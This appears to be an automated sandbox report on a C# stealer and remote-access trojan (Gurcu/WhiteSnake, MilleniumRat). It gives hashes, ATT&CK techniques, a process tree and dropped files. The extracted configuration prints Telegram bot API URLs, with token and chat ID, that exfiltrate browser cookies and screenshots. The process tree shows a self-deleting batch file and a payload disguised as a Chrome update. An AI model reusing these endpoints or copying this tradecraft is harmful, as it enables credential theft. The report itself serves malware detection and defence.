gurcu | 34443c63e5b3678dfd5df2e83fb1c70dcad8fbaa658a25bcde512e216e8d4a1c

General

Target

file.exe
Size

5.6MB
MD5

3442efc1a403eaeee70cc2a6729ee87b
SHA1

9fcc1af6ba397c0fcfb979af53e2e76c406e6080
SHA256

34443c63e5b3678dfd5df2e83fb1c70dcad8fbaa658a25bcde512e216e8d4a1c
SHA512

869bf4a24dbafe05a43872c6ff0ff437685df6dba97519fc1a58ce96ea2166a01162a77043f4ff52d488301e3d7f34f7c9c71cfa19b4ebad512a626c8ca43dca
SSDEEP

98304:tJRl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UcG:tWOuK6mn9NzgMoYkSIvUcwti7TQlvcih

Score

10^/10

gurcu milleniumrat discovery rat spyware stealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendDocument?chat_id=7538374929&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendMessage?chat_id=7538374929

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/getUpdates?offset=-

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendDocument?chat_id=7538374929&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	file.exe

Executes dropped EXE 1 IoCs

pid	Process
2724	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
2472	file.exe
2724	Update.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
14	raw.githubusercontent.com
15	raw.githubusercontent.com
21	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4272	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5048	timeout.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2472	file.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe
2724	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	file.exe
Token: SeDebugPrivilege	4272	tasklist.exe
Token: SeDebugPrivilege	2724	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2724	Update.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2472 wrote to memory of 1900	2472	file.exe	84
PID 2472 wrote to memory of 1900	2472	file.exe	84
PID 1900 wrote to memory of 2576	1900	cmd.exe	86
PID 1900 wrote to memory of 2576	1900	cmd.exe	86
PID 1900 wrote to memory of 4272	1900	cmd.exe	87
PID 1900 wrote to memory of 4272	1900	cmd.exe	87
PID 1900 wrote to memory of 4528	1900	cmd.exe	88
PID 1900 wrote to memory of 4528	1900	cmd.exe	88
PID 1900 wrote to memory of 5048	1900	cmd.exe	91
PID 1900 wrote to memory of 5048	1900	cmd.exe	91
PID 1900 wrote to memory of 2724	1900	cmd.exe	92
PID 1900 wrote to memory of 2724	1900	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpA6DF.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpA6DF.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2576
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 2472"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4272
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:4528
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5048
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Process Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA6DF.tmp.bat

Filesize
286B

MD5
bd0de624387a479ea910d30a8f625374

SHA1
6ea0b1a6d09fdd73041a177a229f1fcc7976679b

SHA256
9e4bfc822909ca711f0d9fcf57fde907856e8ec543a35c5907c7f19b05afa772

SHA512
f74ca4c84daa9bacbbd58d824daa08b599e47fee0018cc6fd93b28e8b04a3dff654037b0ed143a27a7f1e697bea71f1ba02b080b8c5e33aa891ab515718d2e2e

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
3442efc1a403eaeee70cc2a6729ee87b

SHA1
9fcc1af6ba397c0fcfb979af53e2e76c406e6080

SHA256
34443c63e5b3678dfd5df2e83fb1c70dcad8fbaa658a25bcde512e216e8d4a1c

SHA512
869bf4a24dbafe05a43872c6ff0ff437685df6dba97519fc1a58ce96ea2166a01162a77043f4ff52d488301e3d7f34f7c9c71cfa19b4ebad512a626c8ca43dca

Download Submit
memory/2472-7-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp

Filesize
10.8MB

Download
memory/2472-0-0x00007FFF61233000-0x00007FFF61235000-memory.dmp

Filesize
8KB

Download
memory/2472-8-0x000001C4B9AC0000-0x000001C4B9ADE000-memory.dmp

Filesize
120KB

Download
memory/2472-9-0x000001C4B9A90000-0x000001C4B9A9A000-memory.dmp

Filesize
40KB

Download
memory/2472-13-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp

Filesize
10.8MB

Download
memory/2472-6-0x000001C4D2250000-0x000001C4D22C6000-memory.dmp

Filesize
472KB

Download
memory/2472-1-0x000001C4B77E0000-0x000001C4B7D82000-memory.dmp

Filesize
5.6MB

Download
memory/2724-20-0x0000020AFD600000-0x0000020AFD66A000-memory.dmp

Filesize
424KB

Download
memory/2724-22-0x0000020AFE9F0000-0x0000020AFEAA2000-memory.dmp

Filesize
712KB

Download
memory/2724-23-0x0000020AFEAA0000-0x0000020AFEAF0000-memory.dmp

Filesize
320KB

Download
memory/2724-24-0x0000020AFD670000-0x0000020AFD692000-memory.dmp

Filesize
136KB

Download
memory/2724-26-0x0000020AFEB30000-0x0000020AFEB6A000-memory.dmp

Filesize
232KB

Download
memory/2724-27-0x0000020AFB520000-0x0000020AFB546000-memory.dmp

Filesize
152KB

Download
memory/2724-28-0x0000020AFF7F0000-0x0000020AFFB1E000-memory.dmp

Filesize
3.2MB

Download
memory/2724-47-0x0000020AFEB10000-0x0000020AFEB22000-memory.dmp

Filesize
72KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads